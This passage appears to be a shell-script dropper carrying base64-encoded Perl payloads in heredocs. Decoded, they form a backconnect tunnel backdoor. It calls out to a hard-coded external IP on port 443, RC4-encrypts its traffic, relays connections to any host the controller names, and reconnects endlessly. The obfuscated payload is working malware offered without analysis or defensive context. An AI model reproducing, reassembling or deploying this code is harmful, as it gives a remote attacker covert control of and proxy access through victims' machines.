c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_19() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzcnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
